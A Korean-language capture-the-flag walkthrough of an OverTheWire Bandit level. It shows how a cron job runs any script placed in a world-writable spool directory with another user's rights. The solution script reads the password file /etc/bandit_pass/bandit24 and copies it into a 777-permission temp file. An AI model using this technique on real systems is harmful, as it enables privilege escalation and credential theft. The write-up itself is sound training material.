
A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed.
NOTE: This level requires you to create your own first shell-script. This is a very big step and you should be proud of yourself when you beat this level!
NOTE 2: Keep in mind that your shell script is removed once executed, so you may want to keep a copy around…
프로그램은 시간 기반 작업 스케줄러인 cron으로 실행되어 자동으로 일정한 간격에 동작한다. /etc/cron.d/에서 어떤 명령이 실행되고 있는지 설정을 확인해라.
노트 1: 이 레벨은 쉘 스크립트 작성 능력을 요구한다. 이는 아주 큰 도약이므로 이 레벨을 클리어한다면 자랑스러워 해도 좋다(ㅋㅋㅋ).
노트 2: 쉘 스크립트는 한 번 실행되면 제거된다는 것을 기억해라, 그러니 어딘가에 저장하는 것을 추천한다.
cron, crontab, crontab(5)(use “man 5 crontab” to access this)
bandit23@bandit:~$ cat /etc/cron.d/cronjob_bandit24
@reboot bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
* * * * * bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
bandit23@bandit:~$ cat /usr/bin/cronjob_bandit24.sh
#!/bin/bash
myname=$(whoami)
cd /var/spool/$myname/foo
echo "Executing and deleting all scripts in /var/spool/$myname/foo:"
for i in * .*;
do
if [ "$i" != "." -a "$i" != ".." ];
then
echo "Handling $i"
owner="$(stat --format "%U" ./$i)"
if [ "${owner}" = "bandit23" ]; then
timeout -s 9 60 ./$i
fi
rm -f ./$i
fi
done
cronjob_bandit24.sh 파일이 매분 마다 실행된다. 내용을 확인해보면 /var/spool/$(whoami)/foo 디렉토리로 이동한 다음 해당 디렉토리의 모든 파일(숨겨진 파일 포함)에 대해 반복 작업을 수행한다. "$i" != "." 조건과 "$i" != ".." 조건을 모두 만족하는 경우(., .. 파일 제외) "Handling $i"를 출력하고, owner 변수에 해당 파일의 소유자 이름을 할당한다. owner가 bandit23이면 해당 파일을 실행하고 60초가 지나면 SIGKILL로 해당 프로세스를 종료한다. 이후 반복문의 대상이었던 파일을 제거한다.
bandit23@bandit:~$ ls -al /var/spool/bandit24
total 256
dr-xr-x--- 3 bandit24 bandit23 4096 Oct 5 2023 .
drwxr-xr-x 5 root root 4096 Oct 5 2023 ..
drwxrwx-wx 16 root bandit24 249856 May 13 04:16 foo
이 서버의 문제점(취약점)은 /var/spool/bandit24/foo 디렉토리 내의 파일이 bandit24의 권한으로 실행되고 있으나 해당 디렉토리는 root와 bandit24 외의 다른 유저에게도 작성 권한이 부여되어 있다는 점이다. bandit23 계정으로는 /foo 디렉토리 하위의 내용을 알 수 없으나 디렉토리에 파일을 추가하는 것은 가능하다.
따라서 /var/spool/bandit24/foo 디렉토리 내에 bandit23이 특정 스크립트 파일을 작성하면 이는 bandit24의 권한으로 실행된다.
#!/bin/bash
cat /etc/bandit_pass/bandit24 > /tmp/bandit23/password.txt
bandit23@bandit:/tmp/tmp.jF6NnUqdqV$ chmod 777 . script.sh password.txt
bandit23@bandit:/tmp/tmp.jF6NnUqdqV$ cp script.sh /var/spool/bandit24/foo
/etc/bandit_pass/bandit24 파일의 내용을 /tmp/tmp.jF6NnUqdqV/password.txt으로 복사하는 스크립트 파일을 작성하고, 임시 디렉토리, 실행 파일과 텍스트 파일의 권한을 777로 변경했다. 그러면 bandit24 계정으로 두 파일에 접근하고 실행할 수 있다. 이후 /foo 디렉토리로 스크립트 파일을 복사하면 파일이 실행되면서 플래그를 bandit23 권한으로 접근 가능한 password.txt 파일에 복사하게 된다.